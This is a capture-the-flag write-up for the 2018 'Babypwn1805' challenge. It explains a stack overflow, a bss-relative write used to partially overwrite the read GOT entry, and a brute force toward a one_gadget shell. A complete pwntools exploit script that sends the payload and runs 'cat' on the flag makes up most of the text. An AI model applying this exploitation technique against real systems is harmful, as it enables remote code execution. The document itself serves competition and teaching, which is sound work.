Babypwn1805--------Reading the provided C source file we found the two stack based 1024 bytes buffer overflow and the "write 8 bytes in a position relative to the bss asdf variable" possibility with the second read.
At first we tried using the stack buffer overflow to ovewrite last byte of the pointer to the name string of the program. We discovered leaking the env that there was a preloaded custom libc, probably different each time.
Second step was to going backwards in the bss writing only 1 byte, trying to find where the entry for the read is on the GOT. Overwriting the LSB we manage to call different functions when the offset is -56 from the variable in bss.
Then we setup a bruteforce of the last two bytes of the read GOT entry, trying to hit a one_gadget (single address to call `execv("/bin/sh/")`).
We found that a few addresses returned some error related to `/bin/sh` having the wrong parameters, so we did another bruteforce, this time trying to jump few bytes before or after those addresses that returned a good output.
We managed to execute the `echo` command provided, so we refined the payload to cat the flag. 
### Exploit (final iteration)
```python#!/usr/bin/env pythonfrom __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *from random import randintimport signalimport syshost = 'e4771e24.quals2018.oooverflow.io'port =  31337
def signal_handler(signal, frame):        print('You pressed Ctrl+C!')        sys.exit(0)signal.signal(signal.SIGINT, signal_handler)print('Press Ctrl+C')
def pow_hash(challenge, solution):    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):    h = pow_hash(challenge, solution)    return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):    candidate = 0    while True:        if check_pow(challenge, n, candidate):            return candidate        candidate += 1
def solve_pow2(challenge, n):    r = remote("<ip of our leet server>",13337)    r.sendline("{} {}".format(challenge,n))    return int(r.recvuntil("\n")[:-1])
context(log_level='DEBUG')magics=[0x782a,0x1cbe,0xa821,0x580e,0x6372,0x6fc3,0x5463,0x8076,0x7818,0x834,0x2812,0x4aa8,0x7fc7,0x4019,0x6bb2,0x4bba,0x2ff4,0x206e,0x6078,0x2ff7,0x6037,0x5fc7,0x181d,0x4075,0x5be1,0x9ff6,0x981e,0x9bdc,0x3fff,0x7826,0x581f,0x4aac,0x781b,0x1ee5,0x11d2,0x7d78,0xed9,0x46e7,0xa01d,0x701d]conn = remote(host,port)
funziona=[0x280d,0x2807,0xa02e,0x581d,0x1808,0xa02e,0x11e5,0x808b,0x607d]
def connect():    global conn    conn.close()    conn = remote(host,port)    conn.recvuntil('Challenge: ')    challenge = conn.recvuntil('\n')[:-1]    conn.recvuntil('n: ')    n = int(conn.recvuntil('\n')[:-1])
    # print('Solving challenge: "{}", n: {}'.format(challenge, n))
    solution = solve_pow2(challenge, n)    # print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution)))    conn.sendline(str(solution))    conn.recvuntil("Go\n")
if __name__ == '__main__':    while True:        while True:            try:                connect()                break            except:                continue        while True:            try:                conn.clean_and_log()                conn.send(p64(2**64 - 56))#read@GOT                # conn.send(p64(2**64 - 88))#read@                # randPart = randint(-0x18,0x18)                # currentMagic = random.choice(magics) + randPart                currentMagic = random.choice(funziona) log.info("Current "+hex(currentMagic))                sleep(0.1)                conn.send(p16(currentMagic))                # conn.send(p64(0x7ffff7af1cde))                sleep(0.1)                conn.sendline("echo -n ZIOPANEFUNZIONA;cat ../home/flag")                sleep(0.1)                resp = conn.recvuntil("Go\n")
                # if (len(resp)==0):                #     conn.sendline('uname -a;echo -n "LODODIO";')                # else:                #     continue                # res = conn.recvuntil("Go\n")                if("Go\n" in resp ):                    resp = resp.replace("Go\n","")                if(len(resp)>0):                    log.warning("Executed stuff "+ hex(currentMagic)+ " : "+ repr(resp))            except EOFError:                log.warning("EOF")                break```
